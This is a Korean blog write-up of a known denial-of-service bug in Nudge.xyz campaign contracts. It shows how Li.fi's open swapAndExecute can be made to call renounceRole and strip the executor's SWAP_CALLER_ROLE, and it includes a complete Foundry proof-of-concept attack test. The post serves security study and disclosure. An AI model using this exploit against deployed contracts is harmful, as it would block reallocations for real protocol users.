Tyojong

[1-day] Nudge.xyz - Access Control, DoS 본문

web3

[1-day] Nudge.xyz - Access Control, DoS

Tyojong 2025. 11. 4. 21:12

코드 분석

영향 받는 코드

https://github.com/code-423n4/2025-03-nudgexyz/blob/main/src/campaign/NudgeCampaign.sol

https://github.com/code-423n4/2025-03-nudgexyz/blob/main/src/campaign/NudgeCampaignFactory.sol

https://github.com/code-423n4/2025-03-nudgexyz/blob/main/src/campaign/NudgePointsCampaigns.sol

 

nudgexyz 깃허브 readme(문서)를 확인해보면 SWAP_CALLER_ROLE 권한을 Li.fi의 Executor에게 부여한다고 명시되어 있다.

 

NudgeCampaign.sol 파일의 handleReallocation 함수를 확인해보면 SWAP_CALLER_ROLE 권한만 접근 가능하도록 제약하고 있다.

 

그래서 SWAP_CALLER_ROLE 권한을 가진 Li.fi의 Executor 코드를 확인해보면

https://github.com/lifinance/contracts/blob/b8c966aad30407b3f579723847057729549fd353/src/Periphery/Executor.sol#L105-L126

swapAndExecute 함수에는 접근을 제한하는 코드가 존재하지 않아 누구나 swapAndExecute 함수를 호출할 수 있다.
swapAndExecute 함수에 인자를 보면 _swapData가 존재하고 _swapData의 각 원소는 LibSwap.SwapData 타입이다.

 

https://github.com/lifinance/contracts/blob/b8c966aad30407b3f579723847057729549fd353/src/Libraries/LibSwap.sol

LibSwap.SwapData를 확인해보면 callTocallData가 존재한다. 때문에 누구나 swapAndExecute 를 호출하여 callTocallData를 자유롭게 전달해 임의의 외부 컨트랙트 및 함수를 실행할 수 있다.

 

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/AccessControl.sol

nudgexyz에서는 OpenZeppelin의 AccessControl을 import하고 있다.

AccessControl에는 renounceRole 함수가 있는데 renounceRole 함수는 호출한 계정이 가지고 있는 특정 역할(role)을 스스로 취소하는 함수이다.

 

익스플로잇

시나리오

Executor의 swapAndExecute로 NudgeCampaignFactory.sol에 renounceRole을 실행시키면 Executor는 SWAP_CALLER_ROLE 권한을 상실하게 되고 권한이 없기 때문에 handleReallocation은 더 이상 호출할 수 없게 되어 DoS가 발생한다.

 

PoC

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.28;

import { Test } from "forge-std/Test.sol";
import { Math } from "@openzeppelin/contracts/utils/math/Math.sol";
import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import { NudgeCampaign } from "../campaign/NudgeCampaign.sol";
import { NudgeCampaignFactory } from "../campaign/NudgeCampaignFactory.sol";
import { INudgeCampaign, IBaseNudgeCampaign } from "../campaign/interfaces/INudgeCampaign.sol";
import "../mocks/TestERC20.sol";
import { console } from "forge-std/console.sol";
import { Executor } from "../campaign/Periphery/Executor.sol";
import { ERC20Proxy } from "../campaign/Periphery/ERC20Proxy.sol";
import { LibSwap } from "../campaign/Libraries/LibSwap.sol";
import { TestUSDC } from "../mocks/TestUSDC.sol";

contract TestDOSReallocation is Test {
  using Math for uint256;

  NudgeCampaign private campaign;
  NudgeCampaignFactory private factory;
  TestERC20 private targetToken;
  TestERC20 private rewardToken;

  address owner = address(1);
  address alice = address(11);
  address bob = address(12);
  address campaignAdmin = address(13);
  address nudgeAdmin = address(14);
  address treasury = address(15);
  address swapCaller = address(16);
  address operator = address(17);
  address alternativeWithdrawalAddress = address(18);
  bytes32 public constant SWAP_CALLER_ROLE = keccak256("SWAP_CALLER_ROLE");
  uint16 constant DEFAULT_FEE_BPS = 1000; // 10%
  uint32 constant HOLDING_PERIOD = 7 days;
  uint256 constant REWARD_PPQ = 2e13;
  uint256 constant INITIAL_FUNDING = 100_000e18;
  uint256 constant PPQ_DENOMINATOR = 1e15;
  address constant NATIVE_TOKEN = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
  address badActor = address(0xBAD);
  Executor executor;
  address executorOwner = address(19);
  ERC20Proxy erc20Proxy;

  function setUp() public {
    vm.startPrank(owner);
    //deploy erc20 proxy which is part of Li Fi protocol
    erc20Proxy = new ERC20Proxy(owner);
    vm.stopPrank();
    // Deploy tokens
    targetToken = new TestERC20("Target Token", "TT");
    rewardToken = new TestERC20("Reward Token", "RT");

    //deploy executor which is part of li fi protocol
    executor = new Executor(address(erc20Proxy), executorOwner);
    swapCaller = address(executor);
    console.log(address(executor));

    // Deploy factory with roles
    factory = new NudgeCampaignFactory(treasury, nudgeAdmin, operator, address(executor));

    vm.startPrank(owner);
    //set executor as authorized caller as in Li Fi protocol
    erc20Proxy.setAuthorizedCaller(address(executor), true);
    vm.stopPrank();

    // Fund test contract and approve factory
    rewardToken.mintTo(INITIAL_FUNDING, address(this));
    rewardToken.approve(address(factory), INITIAL_FUNDING);

    // Deploy and fund campaign
    campaign = NudgeCampaign(
      payable(
        factory.deployAndFundCampaign(
          HOLDING_PERIOD,
          address(targetToken),
          address(rewardToken),
          REWARD_PPQ,
          campaignAdmin,
          0, // start immediately
          alternativeWithdrawalAddress,
          INITIAL_FUNDING,
          1 // uuid
        )
      )
    );

    // Setup swapCaller
    deal(address(targetToken), swapCaller, INITIAL_FUNDING);
    vm.prank(swapCaller);
    targetToken.approve(address(campaign), type(uint256).max);
  }

  function test_DOSReallocation() public {
    vm.deal(badActor, 10 ether);
    vm.startPrank(badActor);

    //deploy test usdc contract - this can be custom contract deployed by the attacker
    TestUSDC testUsdc = new TestUSDC("A", "B");

    testUsdc.mintTo(1 ether, badActor);
    testUsdc.approve(address(executor), 1);
    testUsdc.approve(address(erc20Proxy), 1);

    bytes memory renounceRoleCallData =
      abi.encodeWithSignature("renounceRole(bytes32,address)", SWAP_CALLER_ROLE, address(executor));

    LibSwap.SwapData memory sd1 = LibSwap.SwapData(
      //callTo:
      address(factory),
      //approveTo:
      address(testUsdc),
      //sendingAssetId:
      address(testUsdc),
      //receivingAssetId:
      address(testUsdc),
      //fromAmount:
      1,
      //callData:
      renounceRoleCallData,
      //requiresDeposit:
      false
    );

    LibSwap.SwapData[] memory swapDataArray = new LibSwap.SwapData[](1);
    swapDataArray[0] = sd1;

    bytes32 transactionId = bytes32(uint256(1));
    address transferredAssetId = address(testUsdc);
    address receiver = address(badActor);
    uint256 amount = 1;
    //attacker orders executor to execute renounceRole function on factory contract, leading to loss of role for executor
    // all of the future handleReallocations will revert, unless Nudge Admin will grant SWAP_CALLER_ROLE to executor
    //but the attacker can repeat this process indefinitely
    executor.swapAndExecute(transactionId, swapDataArray, address(testUsdc), payable(receiver), amount);
    vm.stopPrank();

    assert(!factory.hasRole(SWAP_CALLER_ROLE, address(executor)));
  }
}

익스플로잇 코드를 실행시켜보면 test_DOSReallocation()함수가 정상적으로 실행되어 PASS가 출력된 것을 확인할 수 있고

 

NudgeCampaignFactory::hasRole이 권한이 박탈되어 false가 출력된 것을 확인할 수 있다.

'web3' 카테고리의 다른 글

[1-day] DFX finance - Reentrancy  (0) 2025.10.29